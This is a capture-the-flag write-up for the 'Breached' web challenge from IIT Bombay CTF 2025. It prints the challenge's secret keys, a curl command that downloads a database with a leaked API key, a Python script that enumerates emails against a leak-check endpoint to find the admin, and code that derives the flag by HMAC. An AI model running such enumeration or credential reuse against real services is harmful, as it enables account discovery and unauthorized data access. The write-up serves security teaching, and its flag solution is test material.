Breached

Challange Description: The admin email of Acme Surveys was leaked, but the identity of the admin is unknown. The objective was to identify the admin email using the provided leak-checking service and derive the flag through a cryptographic HMAC comparison implemented in the backend. The challenge highlights how auxiliary endpoints can undermine otherwise secure cryptographic constructions.

Challenge Metadata

• Room Name: breached
• Platform: IIT Bombay CTF 2025
• URL: link
• Difficulty: Medium
• Category: Web
• Points: 500

Introduction

This challenge revolves around identifying a hidden administrative identity and leveraging a cryptographic mechanism to derive the flag. The backend relies on HMAC-SHA256 to determine administrative privileges. An auxiliary API unintentionally leaks identifying metadata, enabling enumeration of the admin account.

1. Reconnaissance

Artifacts provided:

• Flask web application
• Docker environment
• .env file

FLAG_SECRET = 3HZ0jv5EuC4WHoJnxGKDxuoD9mCkxHMlJz3MucS6U40k7lLdqDqlF2pmeDRT2W5F
ADMIN_API_KEY = 6208d4e88be3d7a2c6845189a23954420f037a262d13a833b9ace3ef98a35ee0

Core validation condition:

HMAC_SHA256(FLAG_SECRET, email) == FLAG_TOKEN

Passive Reconnaissance

• Reviewed Flask routes
• Inspected environment variables
• Analyzed token generation logic

Active Reconnaissance

Leak-check endpoint:

https://tlctf2025-hibc.chals.io/check_email?email=<email>

Database download:

curl -s -H "X-API-Key: 6208d4e88be3d7a2c6845189a23954420f037a262d13a833b9ace3ef98a35ee0" https://tlctf2025-data-app.chals.io/download_db -o runtime_db.csv

2. Scanning and Enumeration

Typical response from /check_email:

{
  "email": "test@acme.test",
  "plaintext_password": null,
  "pwned": false
}

Hypothesis:

The admin email would produce an anomalous response.

3. Gaining Access (Exploitation)

Vulnerability Analysis

• HMAC logic was secure.
• Admin identity derived via HMAC comparison.
• Auxiliary endpoint leaked pwned metadata.
• Only one email returned pwned: true.

Exploitation Steps

import csv, requests

URL = "https://tlctf2025-hibc.chals.io/check_email"

with open("runtime_db.csv") as f:
    r = csv.DictReader(f)
    for row in r:
        email = row["email"]
        resp = requests.get(URL, params={"email": email})
        data = resp.json()

        if data.get("pwned") or data.get("plaintext_password") or data != {
            "email": email,
            "plaintext_password": None,
            "pwned": False
        }:
            print("ADMIN FOUND:", email)
            print(data)
            break

Result:

ADMIN FOUND: blake.baker20@acme.test
{"email": "blake.baker20@acme.test", "plaintext_password": null, "pwned": true}

4. Privilege Escalation

Not applicable. Identification of the correct email was sufficient.

5. Post-Exploitation & Loot

import hmac, hashlib

SECRET = "3HZ0jv5EuC4WHoJnxGKDxuoD9mCkxHMlJz3MucS6U40k7lLdqDqlF2pmeDRT2W5F"
email  = "blake.baker20@acme.test"

token  = hmac.new(SECRET.encode(), email.encode(), hashlib.sha256).hexdigest()

print("FLAG: trustctf{" + token[:12] + "}")

Conclusion

The weakness was not in cryptography but in metadata exposure through an auxiliary endpoint. Security failures often emerge from integration boundaries rather than core primitives.

"Security fails at the boundaries, not the primitives." — scap3sh4rk

writeup by @scap3sh4rk